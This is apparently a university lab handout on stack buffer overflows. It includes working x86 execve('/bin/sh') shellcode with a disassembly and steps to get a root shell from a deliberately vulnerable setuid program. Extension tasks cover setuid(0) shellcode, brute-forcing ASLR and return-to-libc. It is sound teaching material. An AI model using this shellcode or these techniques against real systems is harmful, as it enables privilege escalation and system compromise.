Lab 2: Buffer Overflows






Background: buffer overflows and shellcode

A buffer is a location in memory holding some data. Suppose we have function with the following local variables:

void foo() {
  char name[9]; // 8 bytes plus 0-terminator
  char PIN[5]; // 4 bytes plus 0-terminator
  char a = 1; // set to 0 if name/password correct
  // ...

Local variables live on the stack, and they might be allocated as follows (the stack grows downwards):


If we enter a PIN of 11111, the result could be that the PIN buffer contains the hex value 31 31 31 31 31 (0x31 = ASCII “1”), but the following zero-terminator gets written to the next memory location … which is the a variable, so it gets set to zero. We’ve overwritten something beyond the buffer: a buffer overflow!

So far, we can mess with local variables. What about code? Beyond the local buffers and any other space needed by the function lies the saved return address. If we can overwrite this, we can make the program jump to a point of our choice. If our buffer overflow is long enough and we know where the buffer is in memory, we can include some (compiled) code in it, and overwrite the return address to point to the compiled code in the buffer itself. The result is that the program executes code of our choice, with its original permissions, i.e. if it’s a setuid-root program, then we get our code executed with root rights.

We can make this attack even more powerful by having our compiled code execute a shell. This gives us a shell with root rights (if the program was running setuid-root) from which we can do … anything. Such code is called shellcode.

Background: debugging with GDB

GDB is the standard debugger on linux and part of the GNU Compiler Collection. If you compile your program with the -g option to gcc, the source code and line numbers are available from within gdb. When you do gdb <program>, you can use the following commands at its prompt.

Command Meaning
r (re)run the program
q quit gdb
break <n> breakpoint at line n
break *<n> breakpoint at memory address n
c continue past breakpoint
s [n] step nlines in the source
si [n] step nmachine instructions
n [n] step nlines in the source of the current function, executing any function calls on the way
ni [n] step nmachine instructions in the current function, executing any function calls on the way
info registers display current register values
disassemble/mr <function> disassemble a function (among other things you can then work out the exact layout of its stack frame)
x/<n><t>[s] m (e.g. x/20xb $esp) dump memory: n = number of items to show, t = type (x=hex,d/u=signed/unsigned int, c=char, a=address, s=string), s=size (b=byte, h=halfword (2 bytes), w=word), m = memory location, or register pointing to a memory location
print <expression> print the value of something
display <expression> print something every time you hit a breakpoint or step
l [n] (this is a lowercase L) list n lines of code, default 10

Task 1: Attack

Before we begin, we have to turn off some protection mechanisms that aim to prevent or mitigate buffer overflows. We will look at these in detail in following tasks.

Compile the stack.c program from this lab’s folder with:

$ gcc -g -z execstack -fno-stack-protector stack.c -o stack
$ cp stack stack-root
$ sudo chown root stack-root
$ sudo chmod 4755 stack-root

Have a look at the source code. The program is set to read a file badfile (this use of a file means we don’t have to worry as much about control characters like in the last lab) and copies it into a buffer. But while the fread command is limited to 517 bytes, line 14:

strcpy(buffer, str);

… runs until it sees a 0x00 byte, yet copies into a buffer that is only 24 bytes long. This is an obvious overflow vulnerability.

Make a file called shellcode and paste the following values:

31 c0 50 68 2f 2f 73 68
68 2f 62 69 6e 89 e3 50
53 89 e1 99 b0 0b cd 80

Then run xxd -p -r shellcode > badfile to hex-decode it to the file that the vulnerable program will read. Whenever you modify your shellcode, rerun this command.

Let’s take a look at what it does:

31 c0 xorl %eax, %eax ; clear eax
50 pushl %eax ; put a 0-pointer on the stack
68 2f 2f 73 68 pushl "//sh" ; the command to call
68 2f 62 69 6e pushl "/bin"
89 e3 movl %esp, %ebx ; ebx points at the command
50 pushl %eax ; another 0-pointer
53 pushl %ebx ; points at the command
89 e1 movl %esp, %ecx ; pointer to pointer to command
99 cdq ; this zeroes out edx
b0 0b movb $0x0b, %al ; execve syscall number
cd 80 int $0x80 ; syscall

We store /bin//sh with an extra / (that execve doesn’t mind) since the 0x68 (pushl) instruction takes a 4-byte argument, and we don’t want to include an 0x00 byte in our shellcode. When we call int 0x80, the stack and registers look like this:


We can test whether our shellcode works by setting up a program that calls it explicitly. Use test.c from this lab’s directory and compile it as follows:

$ gcc -z execstack -fno-stack-protector test.c -o test

It reads the file called badfile into a buffer and then executes this buffer with the following marvel of C syntax:


If your compiled shellcode is correct, it will execute /bin/sh for you.

The task you are now faced with is getting your shellcode to be called from within stack-root by exploiting the buffer overflow.

Task 1: Modify your shellcode so that you get a root shell from calling stack-root.

Hints for Task 1:

Task 2: Defences

In this task we will consider the effect of the three defences that we turned off for Task 1.

2.1 ASLR (address space layout randomisation)

Type the command:

$ sudo sysctl -w kernel.randomize_va_space=2

… to re-enable ASLR. Run the stack program several times in GDB and note the different addresses of the buffer. You have to quit and restart GDB between runs to get this to work: within a single instance of the gdb process you will always see the same addresses even if you rerun the program being debugged.


2.2 Stack Guard

Turn ASLR off again before you attempt this task.


2.3 Non-executable stack

Recompile the program with stack guard off again (and keep ASLR off), but use the option -z noexecstack this time.


Extra questions

If you have completed all of Tasks 1 and 2, you may want to try the following.

Real and Effective UIDs

Although Task 1 gets you a root shell, it only has an effective uid of 0 (root) but the real uid is still that of the original user (seed); this is how setuid programs work.

$ id
uid=1000(seed) euid=0(root)...

Some programs, in particular shells, behave differently if they are run with full root privileges (uid=euid=0) than with only an effective uid of 0. The kernel’s access checks however are based on the effective uid so you can already do most things that root can do.

From a program with an effective uid of root, it is easy to get “full” root access since root is allowed to change their own uid. You simply have to issue the system call setuid(0), which in assembly means setting eax = 0x17 (the number of the setuid system call) and ebx = 0x00 and then calling int 0x80.

Task: Adapt the shellcode from Task 1 to call setuid 0 before executing the shell and confirm that this gives you a shell with both real and effective user ids of 0.

Defeating ASLR

Task: Get your shellcode to work (at least once) with ASLR turned on (kernel.randomize_va_space=2) but stack guard and non-executable stacks off.

The basic idea is to run the attacked program in a loop and wait until you get lucky and hit the shellcode. There are of course things you can do to increase your success probability/decrease your expected waiting time. Document your methods and conclusions.

One option is to write a small program that prints the address of a local variable (i.e. something on the stack) and run it a number of times in a loop, then study the stack locations: are they completely random in the 32-bit address space, or do they tend to lie in certain areas?

The other thing to do is make as long a NOP sled as possible, which increases your probability of hitting the sled and thus executing the shellcode. You are constrained by the size of the input buffer, but you can also experiment with increasing the length of str (in main) and of the fread() input size to e.g. 4 KB and see if that helps.


If your stack is non-executable but your heap isn’t, you might be able to get your shellcode onto the heap and then overflow the stack to jump to it, defeating non-executable stacks.

What if all your data sections (heap and stack) are non-executable? Research and explain how the “return-to-libc” attack can be used to get a shell.

Note: C functions such as system() generally expect their parameters on the stack rather than in the registers.